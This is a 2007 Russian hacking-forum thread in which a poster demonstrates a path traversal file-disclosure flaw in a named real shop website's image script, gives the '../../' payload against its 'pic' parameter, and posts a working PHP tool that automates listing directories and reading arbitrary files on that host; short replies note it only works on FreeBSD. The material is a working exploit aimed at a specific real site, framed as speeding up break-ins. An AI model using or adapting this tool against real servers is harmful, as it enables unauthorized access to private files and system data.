Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Файловая инъекция + автоматизация процесса (https://forum.antichat.xyz/showthread.php?t=56384)

BestOFtheBest 22.12.2007 03:14

Файловая инъекция + автоматизация процесса
 
Файловая инъекция представляет собой возможность для взломщика просматривать файлы на удалённом сервере. Проверяя параметры, предаваемые include и mysql_query, программисты очень часто забывают о функции fopen. Чаще всего это встречается в выводе изображений.

Не люблю много теории, перейдём сразу к практике. Возьмём подопытный сайт, http://www.autoall.ru/. Инъекция на лицо, в свойствах изображений товаров написан путь к картинке: http://www.autoall.ru/group/picture.php?pic=112067.JPG. Подставив в параметр "pic" текст "../../" мы увидим в жутко корявом виде содержимое корневого каталога. Подобную картину большенство веб-хакеров наблюдало, когда в r57shell'е вместо имени файла ставили адрес к директории. Такой эффект можно лицезреть только на *nix машинах. Вот именно для этих вот глючных символов я и буду писать парсер, чтобы автоматизировать процес лазания по взламываемому хосту.

Для начала определимся с языком. Я обажаю пхп, за скорость написания на нём приложений, нет траблов с операционкой, с типами данных, и т.д. Для начала сохраним страницу из браузера, и пихнём в hex-редактор. Можно было конечно поискать в инете правила этих записей, но это было бы не интересно. Первая закономерность, которую я заметил, это то, что имя каждого файла или папки заканчивается на символ с кодом 00. Вторая, это то, что перед именами папок, за символ до, стоит 04, а у файлов 08. Таким образом, пользуясь только этими данными я написал вот это парсер. Он глюкавый, требует переработок, но во всяком случае рабочий.
PHP код:

<?php
$fol
="../../";
if(
$fnewname<>""){$fol=$fnewname."/";}
if(
$fileopen<>""){$fol.=$fileopen;}
$host="www.autoall.ru";
$content="";
$fp =fsockopen($host80$errno$errstr30);
if(!
$fp){echo "$errstr ($errno)<br>\n";}else{
fputs ($fp"GET /group/picture.php?pic=".$fol." HTTP/1.0\r\nHost: ".$host."\r\n\r\n");
while (!
feof($fp)) {$content.=fgets($fp,128);}
fclose ($fp);}
$content=strstr($content,"\r\n\r\n");
if(
$fileopen<>""){
print 
"<pre>".htmlspecialchars($content)."</pre>";
}
else
{
for(
$i=0;$i<strlen($content);$i++)
{
  if(
ord($content[$i])==4)
  {
    
$tempname="";
    for(
$j=2;ord($content[$i+$j])<>0;$j++){$tempname.=$content[$i+$j];}
    
$folder[]=$tempname;
    
$i=$i+strlen($tempname);
  }
  if(
ord($content[$i])==8)
  {
    
$tempname="";
    for(
$j=2;ord($content[$i+$j])<>0;$j++){$tempname.=$content[$i+$j];}
    
$files[]=$tempname;
    
$i=$i+strlen($tempname);
  }

}
print 
"<table>";
for(
$i=0;$i<count($folder);$i++)
{
print 
"<tr>";
print 
"<td><a href=1.php?fnewname=".$fol.$folder[$i]."><img border=0 src=fol.jpg></a></td>
<td><a href=1.php?fnewname="
.$fol.$folder[$i]."><font>".$folder[$i]."</font></a></td>";
print 
"</tr>";
}
for(
$i=0;$i<count($files);$i++)
{
print 
"<tr>";
print 
"<td><a href=1.php?fileopen=".$files[$i]."&fnewname=".$fol."><img border=0 src=file.jpg></a></td>
<td><a href=1.php?fileopen="
.$files[$i]."&fnewname=".$fol."><font>".$files[$i]."</font></a></td>";
print 
"</tr>";
}
print 
"</table>";
}
?>

Автоматизация ускоряет взлом в несколько раз. Для sql-инъекций я наблюдал кучу софта, а для файловых не нашёл ни одной проги. Поэтому и создал эту тему.

Scipio 23.12.2007 02:00

боян, работает только на freebsd
вот почитай:
http://forum.antichat.ru/thread55237.html

BestOFtheBest 23.12.2007 03:33

Да, согласен, я просто не нашёл твой пост, перед написанием своего.


Время: 21:57